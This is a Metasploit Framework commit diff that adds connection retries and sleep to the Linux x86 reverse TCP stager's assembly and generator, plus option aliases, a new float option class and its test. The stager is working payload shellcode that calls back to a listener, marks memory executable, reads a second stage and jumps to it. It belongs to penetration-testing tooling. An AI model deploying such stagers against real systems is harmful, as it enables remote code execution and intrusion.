Land #8720, add resiliency (retries + sleep) to linux x86 stagers
commit
0ac19087cd
|
@ -1,9 +1,9 @@
|
|||
;;
|
||||
;
|
||||
;
|
||||
; Name: stager_sock_reverse
|
||||
; Qualities: Can Have Nulls
|
||||
; Version: $Revision: 1512 $
|
||||
; License:
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
|
@ -33,11 +33,13 @@ BITS 32
|
|||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
push 0x5 ; retry counter
|
||||
pop esi
|
||||
|
||||
create_socket:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
; int socket(int domain, int type, int protocol);
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
|
@ -47,13 +49,15 @@ socket:
|
|||
int 0x80
|
||||
xchg eax, edi
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
connect:
|
||||
pop ebx
|
||||
set_address:
|
||||
pop ebx ; set ebx back to zero
|
||||
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
||||
push 0xbfbf0002 ; addr->sin_port = 49087
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
mov ecx, esp ; ecx = addr
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
try_connect:
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
push eax ; addrlen
|
||||
|
@ -62,6 +66,22 @@ connect:
|
|||
mov ecx, esp ; socketcall args
|
||||
inc ebx ; 3 = SYS_CONNECT
|
||||
int 0x80
|
||||
test eax, eax
|
||||
jns mprotect
|
||||
|
||||
handle_failure:
|
||||
push 0xa2
|
||||
pop eax
|
||||
push 0x0 ; sleep_nanoseconds
|
||||
push 0x5 ; sleep_seconds
|
||||
mov ebx, esp
|
||||
xor ecx, ecx
|
||||
int 0x80 ; sys_nanosleep
|
||||
test eax, eax
|
||||
js failed
|
||||
dec esi
|
||||
jnz create_socket
|
||||
jmp failed
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
|
@ -74,6 +94,8 @@ mprotect:
|
|||
shl ebx, 12
|
||||
mov al, 0x7d ; __NR_mprotect
|
||||
int 0x80
|
||||
test eax, eax
|
||||
js failed
|
||||
|
||||
; ssize_t read(int fd, void *buf, size_t count);
|
||||
recv:
|
||||
|
@ -83,6 +105,13 @@ recv:
|
|||
mov dh, 0xc ; count = 0xc00
|
||||
mov al, 0x3 ; __NR_read
|
||||
int 0x80
|
||||
test eax, eax
|
||||
js failed
|
||||
jmp ecx
|
||||
|
||||
failed:
|
||||
mov eax, 0x1
|
||||
mov ebx, 0x1 ; set exit status to 1
|
||||
int 0x80 ; sys_exit
|
||||
|
||||
%endif
|
||||
|
|
|
@ -14,10 +14,13 @@ class DataStore < Hash
|
|||
#
|
||||
def initialize()
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
@imported = Hash.new
|
||||
@imported_by = Hash.new
|
||||
end
|
||||
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
# directly.
|
||||
|
@ -133,11 +136,16 @@ class DataStore < Hash
|
|||
}
|
||||
end
|
||||
|
||||
def import_option(key, val, imported=true, imported_by=nil, option=nil)
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
self.store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
@imported[key] = imported
|
||||
@imported[key] = imported
|
||||
@imported_by[key] = imported_by
|
||||
end
|
||||
|
||||
|
@ -245,9 +253,15 @@ protected
|
|||
#
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if @aliases.has_key?(search_k)
|
||||
search_k = @aliases[search_k]
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
if (rk.downcase == k.downcase)
|
||||
if rk.downcase == search_k
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
@ -317,6 +331,7 @@ class ModuleDataStore < DataStore
|
|||
self.keys.each do |k|
|
||||
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
clone.aliases = self.aliases
|
||||
clone
|
||||
end
|
||||
end
|
||||
|
|
|
@ -45,10 +45,26 @@ module ReverseTcp
|
|||
# XXX: Not supported by all modules
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
], Msf::Handler::ReverseTcp)
|
||||
OptInt.new(
|
||||
'StagerRetryCount',
|
||||
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
|
||||
aliases: ['ReverseConnectRetries']
|
||||
),
|
||||
OptFloat.new(
|
||||
'StagerRetryWait',
|
||||
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
|
||||
),
|
||||
OptAddress.new(
|
||||
'ReverseListenerBindAddress',
|
||||
[ false, 'The specific IP address to bind to on the local system' ]
|
||||
),
|
||||
OptBool.new(
|
||||
'ReverseListenerThreaded',
|
||||
[ true, 'Handle every connection in a new thread (experimental)', false ]
|
||||
)
|
||||
],
|
||||
Msf::Handler::ReverseTcp
|
||||
)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
@ -88,13 +104,12 @@ module ReverseTcp
|
|||
#
|
||||
# @param addr [String] the address that
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
|
||||
def listener_uri(addr = datastore['ReverseListenerBindAddress'])
|
||||
addr = datastore['LHOST'] if addr.nil? || addr.empty?
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"tcp://#{uri_host}:#{bind_port}"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
|
@ -118,8 +133,8 @@ module ReverseTcp
|
|||
rescue StandardError => e
|
||||
wlog [
|
||||
"#{handler_name}: Exception raised during listener accept: #{e.class}",
|
||||
"#{$ERROR_INFO}",
|
||||
"#{$ERROR_POSITION.join("\n")}"
|
||||
$ERROR_INFO.to_s,
|
||||
$ERROR_POSITION.join("\n")
|
||||
].join("\n")
|
||||
end
|
||||
end
|
||||
|
@ -216,13 +231,11 @@ module ReverseTcp
|
|||
# Terminate the handler thread
|
||||
handler_thread.kill if handler_thread && handler_thread.alive? == true
|
||||
|
||||
if listener_sock
|
||||
begin
|
||||
listener_sock.close
|
||||
rescue IOError
|
||||
# Ignore if it's listening on a dead session
|
||||
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
|
||||
end
|
||||
begin
|
||||
listener_sock.close if listener_sock
|
||||
rescue IOError
|
||||
# Ignore if it's listening on a dead session
|
||||
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ module Msf
|
|||
# attrs[3] = possible enum values
|
||||
# attrs[4] = Regex to validate the option
|
||||
#
|
||||
def initialize(in_name, attrs = [])
|
||||
def initialize(in_name, attrs = [], aliases: [])
|
||||
self.name = in_name
|
||||
self.advanced = false
|
||||
self.evasion = false
|
||||
|
@ -45,6 +45,7 @@ module Msf
|
|||
raise("Invalid Regex #{regex_temp}: #{e}")
|
||||
end
|
||||
end
|
||||
self.aliases = aliases
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -159,6 +160,10 @@ module Msf
|
|||
# A optional regex to validate the option value
|
||||
#
|
||||
attr_accessor :regex
|
||||
#
|
||||
# Aliases for this option for backward compatibility
|
||||
#
|
||||
attr_accessor :aliases
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# Float option.
|
||||
#
|
||||
###
|
||||
class OptFloat < OptBase
|
||||
def type
|
||||
'float'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
Float(value) if value.present? && valid?(value)
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
Float(value) rescue return false if value.present?
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,36 +1,28 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Integer option.
|
||||
#
|
||||
###
|
||||
class OptInt < OptBase
|
||||
def type
|
||||
return 'integer'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if value.to_s.match(/^0x[a-fA-F\d]+$/)
|
||||
value.to_i(16)
|
||||
elsif value.present?
|
||||
value.to_i
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
|
||||
if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
return false
|
||||
###
|
||||
#
|
||||
# Integer option.
|
||||
#
|
||||
###
|
||||
class OptInt < OptBase
|
||||
def type
|
||||
'integer'
|
||||
end
|
||||
|
||||
return super
|
||||
def normalize(value)
|
||||
if value.to_s.match?(/^0x[a-fA-F\d]+$/)
|
||||
value.to_i(16)
|
||||
elsif value.present?
|
||||
value.to_i
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return false if value.present? && !value.to_s.match?(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -12,6 +12,7 @@ module Msf
|
|||
autoload :OptBool, 'msf/core/opt_bool'
|
||||
autoload :OptEnum, 'msf/core/opt_enum'
|
||||
autoload :OptInt, 'msf/core/opt_int'
|
||||
autoload :OptFloat, 'msf/core/opt_float'
|
||||
autoload :OptPath, 'msf/core/opt_path'
|
||||
autoload :OptPort, 'msf/core/opt_port'
|
||||
autoload :OptRaw, 'msf/core/opt_raw'
|
||||
|
@ -35,6 +36,7 @@ module Msf
|
|||
# * {OptAddress} - IP address or hostname
|
||||
# * {OptPath} - Path name on disk or an Object ID
|
||||
# * {OptInt} - An integer value
|
||||
# * {OptFloat} - A float value
|
||||
# * {OptEnum} - Select from a set of valid values
|
||||
# * {OptAddressRange} - A subnet or range of addresses
|
||||
# * {OptRegexp} - Valid Ruby regular expression
|
||||
|
|
|
@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid'
|
|||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse TCP payload generation for Linux ARCH_X86
|
||||
|
@ -26,16 +25,15 @@ module Payload::Linux::ReverseTcp
|
|||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['StagerRetryCount'],
|
||||
sleep_seconds: datastore['StagerRetryWait'],
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
|
@ -81,16 +79,20 @@ module Payload::Linux::ReverseTcp
|
|||
#
|
||||
# @option opts [Integer] :port The port to connect to
|
||||
# @option opts [String] :host The host IP to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
# TODO: reliability is coming
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
retry_count = opts[:retry_count]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
seconds = (opts[:sleep_seconds] || 5.0)
|
||||
sleep_seconds = seconds.to_i
|
||||
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
|
||||
|
||||
asm = %Q^
|
||||
push #{retry_count} ; retry counter
|
||||
pop esi
|
||||
create_socket:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
push ebx
|
||||
|
@ -100,14 +102,15 @@ module Payload::Linux::ReverseTcp
|
|||
mov al, 0x66
|
||||
mov ecx, esp
|
||||
int 0x80 ; sys_socketcall (socket())
|
||||
test eax, eax
|
||||
js failed
|
||||
|
||||
xchg eax, edi ; store the socket in edi
|
||||
|
||||
set_address:
|
||||
pop ebx ; set ebx back to zero
|
||||
push #{encoded_host}
|
||||
push #{encoded_port}
|
||||
mov ecx, esp
|
||||
|
||||
try_connect:
|
||||
push 0x66
|
||||
pop eax
|
||||
push eax
|
||||
|
@ -117,12 +120,27 @@ module Payload::Linux::ReverseTcp
|
|||
inc ebx
|
||||
int 0x80 ; sys_socketcall (connect())
|
||||
test eax, eax
|
||||
jns mprotect
|
||||
|
||||
handle_failure:
|
||||
push 0xa2
|
||||
pop eax
|
||||
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||
push 0x#{sleep_seconds.to_s(16)}
|
||||
mov ebx, esp
|
||||
xor ecx, ecx
|
||||
int 0x80 ; sys_nanosleep
|
||||
test eax, eax
|
||||
js failed
|
||||
dec esi
|
||||
jnz create_socket
|
||||
jmp failed
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
mprotect:
|
||||
mov dl, 0x7
|
||||
mov ecx, 0x1000
|
||||
mov ebx, esp
|
||||
|
@ -133,6 +151,7 @@ module Payload::Linux::ReverseTcp
|
|||
test eax, eax
|
||||
js failed
|
||||
|
||||
recv:
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
cdq
|
||||
|
@ -142,6 +161,7 @@ module Payload::Linux::ReverseTcp
|
|||
test eax, eax
|
||||
js failed
|
||||
jmp ecx
|
||||
|
||||
failed:
|
||||
mov eax, 0x1
|
||||
mov ebx, 0x1 ; set exit status to 1
|
||||
|
|
|
@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp
|
|||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
|
|
|
@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp
|
|||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -18,7 +18,8 @@ module Payload::Python::ReverseTcpSsl
|
|||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
|
|||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
|
@ -359,14 +360,14 @@ module Payload::Windows::ReverseHttp
|
|||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
jnz allocate_memory
|
||||
|
||||
set_wait:
|
||||
push #{retry_wait} ; dwMilliseconds
|
||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
call ebp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
|
|
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
|
@ -366,13 +367,13 @@ module Payload::Windows::ReverseHttp_x64
|
|||
call rbp
|
||||
test eax, eax
|
||||
jnz allocate_memory
|
||||
|
||||
|
||||
set_wait:
|
||||
mov rcx, #{retry_wait} ; dwMilliseconds
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
|
||||
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 99
|
||||
CachedSize = 123
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 142
|
||||
CachedSize = 166
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
RSpec.describe Msf::OptFloat do
|
||||
valid_values = [
|
||||
{ :value => "1", :normalized => 1.0 },
|
||||
{ :value => "1.1", :normalized => 1.1 },
|
||||
{ :value => "0", :normalized => 0.0 },
|
||||
{ :value => "-1", :normalized => -1.0 },
|
||||
{ :value => "01", :normalized => 1.0 },
|
||||
{ :value => "0xff", :normalized => 255.0 },
|
||||
]
|
||||
invalid_values = [
|
||||
{ :value => "0xblah", },
|
||||
{ :value => "-12cat", },
|
||||
{ :value => "covfefe", },
|
||||
{ :value => "NaN", },
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'float'
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue